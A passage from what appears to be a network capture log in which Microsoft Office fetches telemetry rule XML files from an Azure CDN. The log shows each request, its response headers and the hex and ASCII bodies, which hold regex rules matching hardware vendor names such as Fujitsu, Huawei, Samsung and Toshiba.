encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:40 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185940Z-r1d97b99577tssmjhC1TEB8kan0000000ar0000000007nu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:40 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 966fc1d3-801e-008c-60ca-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185940Z-r1d97b99577n5jhbhC1TEB74vn0000000amg00000000reya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:40 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185940Z-1777c6cb754lv4cqhC1TEB13us0000000bg000000000dp7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:41 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:40 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 20c6f849-701e-005c-2e61-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185941Z-178bfbc474bgvl54hC1NYCsfuw00000001wg00000000bmv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:42 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:42 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185942Z-178bfbc474bwlrhlhC1NYCy3kg00000001ug00000000qs82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:43 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:42 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:43 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185943Z-178bfbc474bxkclvhC1NYC69g400000001sg00000000pkap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:43 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:42 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:43 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e86b2c91-101e-008e-05a0-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185943Z-r1d97b99577n5jhbhC1TEB74vn0000000av0000000000p1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:42 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:43 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185943Z-178bfbc474bv7whqhC1NYC1fg400000001xg000000009gty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:43 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:43 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185943Z-174c587ffdfmlsmvhC1TEBvyks00000000dg0000000002t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 18:59:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:44 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:45 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185945Z-1777c6cb7549x5qchC1TEBggbg0000000bn0000000009bp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 18:59:45 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:45 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:45 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185945Z-178bfbc474bnwsh4hC1NYC2ubs0000000210000000003s2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:45 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.8	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:45 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 76e93f39-101e-0034-5559-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185945Z-178bfbc474b9fdhphC1NYCac0n00000001ug00000000cgds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
